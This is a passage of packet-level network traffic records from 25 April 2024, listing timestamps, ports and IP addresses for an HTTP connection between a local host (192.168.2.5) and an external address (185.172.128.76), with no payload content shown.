Apr 25, 2024 21:47:55.373632908 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.373671055 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.373678923 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.373706102 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.373717070 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.373740911 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.373785019 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.373828888 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.373831034 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.373869896 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.373874903 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.373922110 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.373928070 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.373960972 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.373970032 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.374002934 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.374016047 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.374036074 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.374069929 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.374108076 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.374150991 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.374223948 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.374273062 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.374273062 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.374316931 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.374320030 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.374336958 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.374361992 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.374377012 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.374406099 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.374453068 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.374473095 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.374517918 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.374526978 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.374572039 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.374592066 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.374618053 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.374639034 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.374666929 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.374670029 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.374705076 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.374711037 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.374751091 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.374778032 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.374803066 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.374820948 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.374836922 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.374836922 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.374876022 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.374946117 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.374984980 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.374994040 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.375027895 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.375031948 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.375067949 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.375089884 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.375132084 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.375137091 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.375165939 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.375174046 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.375205040 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.375211000 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.375247002 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.375262976 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.375302076 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.375330925 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.375344992 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.375396967 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.375406981 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.375444889 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.375451088 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.375461102 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.375484943 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.375500917 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.375509024 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.375550985 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.375575066 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.375590086 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.375613928 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.375632048 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.375643969 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.375683069 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.376048088 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.376104116 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.376132011 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.376157999 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.376174927 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.376190901 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.376202106 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.376234055 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.376260042 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.376301050 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.376312017 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.376349926 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.376368999 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.376384020 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.376408100 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.376424074 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.376493931 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.376543045 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.376570940 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.376586914 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.376655102 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.376702070 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.376960993 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.377003908 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.377010107 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.377048969 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.377053976 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.377091885 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.377149105 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.377194881 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.377397060 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.377444983 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.377469063 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.377495050 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.377510071 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.377526999 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.377536058 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.377578974 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.377600908 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.377640009 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.377901077 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.377964973 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.378002882 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.378041983 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.378107071 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.378154993 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.378164053 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.378211975 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.378242970 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.378252983 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.378261089 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.378298044 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.378298044 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.378354073 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.378355026 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.378381968 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.378396988 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.378420115 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.378423929 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.378468037 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.378590107 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.378639936 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.378663063 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.378694057 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.378707886 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.378741980 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.378767967 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.378799915 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.378808975 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.378837109 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.378864050 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.378907919 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.378909111 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.378953934 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.378968954 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.378998995 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.379013062 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.379036903 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.379101038 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.379148006 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.379159927 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.379196882 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.379287004 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.379333019 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.379419088 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.379462957 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.379491091 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.379534006 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.379560947 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.379602909 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.379625082 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.379657984 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.379671097 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.379695892 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.379698992 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.379736900 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.379766941 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.379812956 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.379812002 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.379849911 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.379930019 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.379956961 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.379977942 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.379995108 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.380004883 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.380048990 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.380079985 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.380094051 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.380134106 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.380184889 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.380223989 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.380278111 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.380450964 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.380491018 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.380501986 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.380526066 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.380539894 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.380582094 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.380587101 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.380630016 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.380644083 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.380692959 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.380718946 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.380764961 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.380887985 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.380934000 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.380934954 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.380975008 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.381180048 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.381227016 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.381234884 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.381278992 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.381283998 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.381329060 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.381566048 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.381609917 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.381788969 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.381841898 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.382003069 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.382054090 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.382220030 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.382270098 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.382281065 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.382323980 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.382416010 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.382431030 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.382467985 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.382507086 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.382550001 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.382575989 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.382623911 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.382756948 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.382771015 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.382805109 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.382821083 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.382853985 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.382896900 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.382909060 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.382951975 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.382977962 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.382992029 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.383024931 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.383039951 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.383105040 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.383151054 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.383155107 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.383164883 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.383191109 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.383207083 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.383229017 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.383271933 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.383284092 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.383331060 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.578047037 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.578150034 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.578252077 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.578264952 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.578277111 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.578290939 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.578305006 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.578306913 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.578318119 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.578344107 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.578351021 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.578372002 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.578375101 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.578397036 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.578404903 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.578413010 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.578449965 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.578476906 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.578516006 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.578516960 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.578557968 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.578572989 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.578586102 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.578612089 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.578628063 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.578670025 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.578684092 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.578711033 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.578732014 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.578736067 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.578773975 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.578774929 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.578813076 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.578850031 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.578886986 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.578887939 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.578911066 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.578924894 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.578947067 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.578950882 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.578974962 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.578988075 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.579018116 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.579042912 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.579066038 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.579082012 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.579099894 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.579128981 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.579166889 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.579168081 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.579205036 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.579283953 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.579305887 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.579327106 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.579343081 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.579380989 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.579415083 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.579432964 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.579468966 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.579509974 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.579555035 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.579564095 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.579601049 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.579621077 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.579643965 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.579658031 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.579679012 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.579682112 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.579715967 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.579751968 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.579794884 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.579807997 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.579854965 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.579864979 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.579901934 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.579950094 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.579993010 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.580019951 CEST	80	49704	185.172.128.76	192.168.2.5
